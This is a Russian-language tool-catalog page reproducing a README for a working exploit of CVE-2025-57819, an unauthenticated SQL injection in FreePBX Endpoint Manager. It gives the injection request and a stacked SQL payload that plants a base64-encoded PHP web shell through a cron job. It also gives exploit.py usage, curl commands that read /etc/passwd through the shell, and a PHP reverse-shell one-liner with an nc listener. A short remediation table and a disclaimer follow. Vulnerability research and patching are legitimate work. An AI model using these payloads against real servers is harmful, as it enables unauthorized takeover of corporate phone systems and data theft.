Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/jf-gondim/freepbx-endpoint-sqli-rce
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubjf-gondim/freepbx-endpoint-sqli-rce

freepbx-endpoint-sqli-rce

Неаутентифицированная SQL-инъекция в FreePBX Endpoint Manager (CVE-2025-57819), которая внедряет PHP-веб-шелл, запускаемый по cron, для удаленного выполнения кода.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
2 месяцев назадЕщё не проверено

CVE-2025-57819 — SQL-инъекция в модуле Endpoint FreePBX → удаленное выполнение кода

Краткое описание

FreePBX — это веб-интерфейс с открытым исходным кодом для Asterisk PBX, широко используемый в корпоративных телефониях. Модуль Endpoint Manager предоставляет обработчик AJAX по адресу /admin/ajax.php, который принимает параметр brand и вставляет его напрямую в SQL-запрос без санитизации. Неаутентифицированный удаленный злоумышленник может внедрить произвольный SQL, добавить строку в таблицу cron_jobs и заставить демон cron FreePBX записать исполняемый PHP-веб-шелл в корень веб-сервера — что приводит к неаутентифицированному удаленному выполнению кода примерно за одну минуту.


Детали уязвимости

ПолеЗначение
Идентификатор CVECVE-2025-57819
Оценка CVSS9.8 (Критический)
Вектор CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-89 — Некорректная нейтрализация специальных элементов, используемых в SQL-команде
КомпонентМодуль Endpoint Manager FreePBX
Затронутые версииFreePBX 17.x (неисправленная)
Исправленные версииFreePBX 17.x (исправленная)
Вектор атакиСеть — аутентификация не требуется

Технический анализ

Уязвимый запрос направлен на обработчик AJAX-команд Endpoint Manager:

root@kitploit:~
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=<PAYLOAD> HTTP/1.1
Host: <target>

Параметр brand конкатенируется в SQL-запрос без экранирования или подготовленных выражений. Злоумышленник закрывает строку запроса и добавляет второй оператор:

root@kitploit:~
x' ;INSERT INTO cron_jobs
  (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
  ('sysadmin', 'webshell',
   'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php',
   NULL, '* * * * *', 30, 1, 1) --

Внедренная запись cron выполняется каждую минуту от имени владельца процесса веб-сервера/Asterisk и записывает:

root@kitploit:~
<?php system($_GET[cmd]); ?>

в /var/www/html/webshell.php, что обеспечивает неаутентифицированное выполнение команд ОС через HTTP.

Корневая причина

Обработчик AJAX Endpoint Manager динамически формирует SQL с помощью форматирования строк, а не параметризованных запросов. Поле brand никогда не проверяется и не экранируется перед встраиванием в оператор SELECT, что делает его тривиально инжектируемым.

Цепочка атаки

root@kitploit:~
Attacker  ──GET (SQL injection)──▶  /admin/ajax.php  ──INSERT──▶  cron_jobs table
                                                                          │
                                              FreePBX cron daemon (≤60s) │
                                                                          ▼
Attacker  ──GET ?cmd=id──────────▶  /webshell.php  ◀── written ──  cron exec

Использование эксплойта

Требования

root@kitploit:~
pip install requests urllib3

Аргументы

root@kitploit:~
  -t, --target    IP-адрес или имя хоста цели  (обязательно)
      --timeout   Время ожидания доступности цели в секундах (по умолчанию: 30)
      --delay     Время ожидания выполнения задачи cron в секундах (по умолчанию: 65)

Пошаговая инструкция

1. Запустите эксплойт против цели:

root@kitploit:~
# Базовый — ожидание 65 с для запуска задачи cron
python3 exploit.py -t <IP>

# Использование имени хоста
python3 exploit.py -t connected.htb

# Увеличенное ожидание на медленных целях
python3 exploit.py -t <IP> --delay 90

2. Если веб-шелл подтвержден, взаимодействуйте с ним напрямую:

root@kitploit:~
curl "http://<IP>/webshell.php?cmd=id"
curl "http://<IP>/webshell.php?cmd=cat+/etc/passwd"

3. Повысьте до реверс-шелла через веб-шелл:

Запустите слушатель на вашей машине:

root@kitploit:~
nc -lvnp <LOCAL_PORT>

Затем активируйте PHP-реверс-шелл через параметр cmd (URL-кодированный):

root@kitploit:~
curl "http://<IP>/webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22<LOCAL_IP>%22%2C<LOCAL_PORT>%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27"

Раскодированная полезная нагрузка, отправленная как cmd:

root@kitploit:~
php -r '$sock=fsockopen("<LOCAL_IP>",<LOCAL_PORT>);system("/bin/bash <&3 >&3 2>&3");'

Ожидаемый вывод

root@kitploit:~
 ╔═══════════════════════════════════════════════════════════════════╗
 ║  Модуль FreePBX Endpoint  ·  SQL-инъекция → Веб-шелл через Cron ║
 ║                       CVE-2025-57819                              ║
 ╚═══════════════════════════════════════════════════════════════════╝
  CVE ID      :  CVE-2025-57819
  Component   :  Модуль Endpoint Manager FreePBX
  Affected    :  неисправленная 17.x   →  Исправленная: исправленная 17.x
  CVSS Score  :  9.8 (Критический)
  CVSS Vector :  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  CWE         :  CWE-89 — SQL-инъекция
  Type        :  Неаутентифицированная SQL-инъекция → Веб-шелл PHP по расписанию Cron
  Reference   :  https://nvd.nist.gov/vuln/detail/CVE-2025-57819

  14:03:11 [*] Проверка цели <IP>  (макс. 30 с) ...
  14:03:12 [+] Цель активна — HTTP 200

  14:03:12 [*] Точка инъекции : http://<IP>/admin/ajax.php
  14:03:12 [!] Внедрение задачи cron через SQL-инъекцию ...

  14:03:12 [+] Запрос на инъекцию отправлен
  14:03:12 [*] Ожидание 65 с для запуска задачи cron ...
  14:04:17 [*] Проверка веб-шелла at http://<IP>/webshell.php?cmd=id ...
  14:04:17 [+] Веб-шелл активен — вывод команды:

    uid=997(asterisk) gid=993(asterisk) groups=993(asterisk)

  14:04:17 [+] URL веб-шелла: http://<IP>/webshell.php?cmd=<command>

  14:04:17 [+] Процедура эксплойта завершена.

Примечание по времени. Значение --delay по умолчанию (65 секунд) гарантирует, что демон cron (который запускается в начале каждой минуты) получил хотя бы одну возможность выполнить внедренную задачу. На медленных целях увеличьте до --delay 90 или --delay 120.


Устранение уязвимости


Ссылки

  • NVD — CVE-2025-57819
  • CWE-89: SQL-инъекция
  • OWASP: SQL-инъекция
  • OWASP Top 10: A03 Инъекция
  • Проект FreePBX
  • watchTowr Labs — эталонный PoC

Отказ от ответственности

Данный эксплойт предоставлен строго в образовательных целях и для авторизованного тестирования безопасности. Используйте только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированное использование незаконно и неэтично.

Скачать инструмент
ПриоритетДействие
КритическийНемедленно установите патч от вендора FreePBX для CVE-2025-57819
КритическийУдалите все существующие артефакты /var/www/html/webshell.php
ВысокийОграничьте доступ к /admin/ajax.php только аутентифицированными доверенными источниками сети
ВысокийПроверьте и санитизируйте все SQL-запросы в Endpoint Manager — используйте подготовленные выражения
СреднийОграничьте таблицу cron_jobs: ограничьте, какие роли могут выполнять INSERT
СреднийПримените правило WAF, блокирующее шаблоны stacked-query на конечной точке AJAX
НизкийЗапускайте процесс FreePBX/Asterisk под учетной записью с минимальными привилегиями и без права записи в корень веб-сервера